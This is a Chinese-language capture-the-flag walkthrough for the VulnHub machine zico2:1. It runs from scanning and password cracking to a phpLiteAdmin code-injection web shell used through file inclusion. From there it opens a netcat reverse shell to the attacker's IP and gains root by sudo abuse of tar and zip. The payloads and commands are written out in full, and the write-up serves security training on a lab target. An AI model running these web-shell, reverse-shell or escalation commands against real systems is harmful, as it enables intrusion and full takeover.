zico2: 1靶场渗透测试
zico2: 1 来自 <zico2: 1 ~ VulnHub>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.182,靶场IP192.168.23.203
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.203
22/tcp (SSH):
- 服务版本: OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
- SSH主机密钥:
- DSA: 1024位
- RSA: 2048位
- ECDSA: 256位
- 分析: OpenSSH版本较老(5.9p1),可能存在已知漏洞。建议升级到最新版本以确保安全。
80/tcp (HTTP):
- 服务版本: Apache httpd 2.2.22 (Ubuntu)
- HTTP标题: Zico's Shop
- 服务器头: Apache/2.2.22 (Ubuntu)
- 分析: Apache版本较老(2.2.22),可能存在已知漏洞。建议升级到最新版本。此外,可以进一步扫描Web应用程序以查找潜在的漏洞。
111/tcp (rpcbind):
- 服务版本: rpcbind 2-4 (RPC #100000)
- rpcinfo:
- 提供了多个RPC服务的端口和协议信息。
- 分析: rpcbind服务通常用于远程过程调用(RPC),可能存在安全风险。建议限制访问或禁用不必要的RPC服务。
36826/tcp (status):
- 服务版本: status 1 (RPC #100024)
- 分析: 这是一个RPC状态服务,通常与rpcbind一起使用。同样建议限制访问或禁用不必要的RPC服务。
4,访问80端口开放的web网站,检查是否存在漏洞
是一个购物网站,尝试对网站的子目录进行枚举爆破扫描
dirsearch -u http://192.168.23.203 -x 403,404,500
5,经过访问发现到一个网站
http://192.168.23.203/dbadmin/test_db.php
尝试使用弱口令爆破登录。用cewl工具爬取网页的字典数据,并生成一个字典txt:
cewl http://192.168.23.203 -w 1.txt
然后使用burpsuite抓获POST请求包,
选用字典替换password然后爆破
最后成功爆破出用户登录密码为admin,弱口令
6,然后登录访问这个网站
然后就从数据库中拿到了用户密码
将MD5加密pass解密得:
root : 34kroot34
zico : zico2215@
7,尝试ssh登录
全都是错误的
phpLiteAdmin简介
phpLiteAdmin是一个基于 Web 的轻量级 SQLite 数据库管理工具,类似于 phpMyAdmin(用于 MySQL),但专门为 SQLite 数据库设计。它通过简单的 PHP 脚本提供对 SQLite 数据库的图形化管理界面,适合开发者和运维人员快速操作数据库。
核心特点
- 轻量级:
- 单文件部署(仅需一个 .php 文件),无需复杂安装。
- 依赖简单:仅需 PHP 环境和 SQLite 扩展支持。
- 功能全面:
- 支持创建、删除、重命名数据库。
- 支持数据表/索引/视图的增删改查。
- 执行自定义 SQL 语句。
- 导入/导出数据(支持 CSV、SQL 格式)。
- 数据分页浏览和搜索。
- 跨平台:
- 可在任何支持 PHP 的服务器上运行(如 Apache、Nginx)。
- 开源免费:
- 代码托管在 GitHub,可自由修改和扩展。
使用场景
- 本地开发调试:快速管理 SQLite 数据库文件(.sqlite 或 .db)。
- 嵌入式系统:适用于资源有限的设备(如 IoT 设备)。
- 简单 Web 应用:替代 MySQL 的轻量级数据库方案。
8,那就尝试通过web网站尝试getshell,首先检索软件的漏洞
searchsploit phpLiteAdmin
正好1.9.3版本存在远程代码执行漏洞,将exp存储出来查看
漏洞解析:phpLiteAdmin <= 1.9.3 远程PHP代码注入漏洞
1. 漏洞概述
- 漏洞类型:远程代码执行(RCE)
- 影响版本:phpLiteAdmin <= 1.9.3
- 利用条件:
- 目标服务器未正确配置安全策略(如允许创建 .php 扩展名的数据库文件)。
- 攻击者能够访问 phpLiteAdmin 的 Web 界面(默认密码 admin 或已知凭据)。
- 漏洞根源:未对用户输入的数据库文件名进行过滤,导致恶意PHP代码注入
漏洞利用步骤
步骤1:创建恶意数据库
- 访问 phpLiteAdmin:
- 默认地址:http://target/phpliteadmin.php
- 使用默认密码 admin 登录(若未修改配置)。
- 创建数据库:
- 在 “Create new database” 输入框填写数据库名:hack.php。
- 点击 Create,phpLiteAdmin 将在其安装目录生成 hack.php(SQLite 数据库文件)。
注意:某些服务器配置可能自动将文件名修正为 hack.sqlite。此时需通过 “Rename Database” 功能将其重命名为 hack.php。
步骤2:插入PHP代码
- 创建数据表:
- 打开 hack.php 数据库。
- 创建新表(如 exploit),定义字段结构:
CREATE TABLE exploit (code TEXT);
- 插入恶意数据:
- 向 exploit 表插入一条记录,文本字段值为 <?php phpinfo(); ?>:
INSERT INTO exploit (code) VALUES ('<?php phpinfo(); ?>');
关键点:PHP代码作为普通文本写入数据库文件,但后续通过Web访问该文件时会被解析执行。
- 向 exploit 表插入一条记录,文本字段值为 <?php phpinfo(); ?>:
步骤3:触发代码执行
- 访问恶意数据库文件:
- 直接通过浏览器访问数据库文件:http://target/hack.php。
- 服务器将 hack.php 视为PHP脚本解析,执行其中的 <?php phpinfo(); ?>,返回PHP环境信息页面。
9,然后开始进行漏洞利用
首先创建一个名为hack.php的数据库
然后在hack.php数据库里面创建一个数据表
Default Value下插入一句话木马 <?php echo system($_GET[cmd]);?>
因为在这里上传的一句话中引号会被过滤,所以一句话木马要求不含单引号
创建操作成功之后。就需要结合/view.php页面存在的文件包含漏洞去利用命令执行漏洞
http://192.168.23.203/view.php?page=../../usr/databases/hack.php&cmd=whoami
10,然后利用python进行反弹shell,还是在这个页面命令执行。首先添加一条
<?php passthru("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.23.182 4444 >/tmp/f"); ?>
随后nc监听4444端口,浏览器访问
http://192.168.23.203/view.php?page=../../../../../usr/databases/hack.php
成功getshell
11,然后使用python脚本启动交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
这个靶机名字叫zico,搜一下靶机上有没有和zico相关的文件或者文件夹:
find / -name "*zico*" 2>/dev/null
发现网站是wordpress框架的
那么就可以查看数据库的配置文件,进一步信息收集。配置文件在/home/zico/wordpress/wp-config.php
账号:zico
密码:sWfCsfJSPV9H3AmQzw8
这才是真正的账户密码
12,ssh登录一下
ssh zico@192.168.23.203
sudo -l查看一下有无sudo提权利用的地方
那么就有两种提权方法,tar提权和zip提权
第一种方法:
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
- sudo: 以超级用户权限运行后续命令。
- tar: 归档工具,此处被赋予 root 权限。
- -cf /dev/null:
- -c 创建归档文件。
- -f /dev/null 将归档输出到 /dev/null(黑洞设备,丢弃所有数据)。
- /dev/null: 要归档的“文件”(实际为空设备,无内容)。
- --checkpoint=1: 每处理 1个记录块 触发一次检查点。
- --checkpoint-action=exec=/bin/sh: 在检查点触发时执行 /bin/sh(启动交互式 Shell)。
2. 提权原理
核心漏洞:tar 的检查点机制滥用
tar 的 --checkpoint 和 --checkpoint-action 功能设计初衷是用于备份或恢复大文件时执行定期操作(如日志记录)。但攻击者通过参数注入,强制 tar 在处理第一个记录块时立即触发检查点,并执行任意命令。
关键步骤:
- 触发检查点:
- --checkpoint=1 表示每处理 1个记录块 触发一次检查点。
- 归档的目标是 /dev/null(空设备),tar 会快速完成操作,但依然会生成 元数据(如文件头信息),占用至少一个记录块。
- 执行命令:
- --checkpoint-action=exec=/bin/sh 会在检查点触发时执行 /bin/sh。
- 由于 tar 以 root 权限运行,启动的 Shell 继承 root 权限。
3. 技术细节验证
记录块与元数据
记录块大小: 默认 tar 使用 20个 512字节的块(共 10KB)作为一个记录块。
元数据写入: 即使归档 /dev/null(空文件),tar 仍会写入以下元数据:
- 文件头信息(文件名、权限、时间戳等)。
- 结束标记(两个全零块)。
- 至少占用 1个记录块(即 10KB),触发检查点。
实际测试
# 执行命令后,检查进程树:
$ ps aux | grep 'tar\|sh'
sh 进程以 root 身份运行,成功提权。
第二种方法:
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF
TF=$(mktemp -u):
- mktemp -u 生成一个唯一的临时文件名(如 /tmp/tmp.XXXXXX),但不会实际创建文件。
- 目的是为 zip 命令提供一个未使用的临时文件路径。
sudo zip $TF /etc/hosts -T -TT 'sh #':
- sudo: 以 root 权限运行 zip。
- $TF: 使用临时文件作为 ZIP 文件名。
- /etc/hosts: 要压缩的目标文件。
- -T: 测试生成的 ZIP 文件完整性。
- -TT 'sh #': 指定测试 ZIP 文件的命令为 sh,# 是注释符,用于截断后续参数。
sudo rm $TF:
- 清理临时文件(实际可能未被创建)。
提权原理
关键漏洞:zip 的 -TT 参数命令注入
zip 的 -TT 参数用于指定测试 ZIP 文件的命令。若用户能控制此参数,可通过注入命令实现任意代码执行。结合 sudo 的 root 权限,攻击者能启动一个 root Shell。
步骤分析:
- 生成临时文件路径:
- TF=$(mktemp -u) 生成一个唯一路径(如 /tmp/tmp.ABC123),但未实际创建文件。
- 执行 zip 命令:
- zip 尝试压缩 /etc/hosts 到临时文件 $TF,并启用测试模式(-T)。
- -TT 'sh #' 将测试命令设置为 sh,# 会注释掉后续默认参数(如 $TF),从而直接执行 sh。
- 触发命令执行:
- zip 在测试 ZIP 文件时,执行 sh 命令。
- 由于 sudo 以 root 权限运行 zip,启动的 sh 继承 root 权限。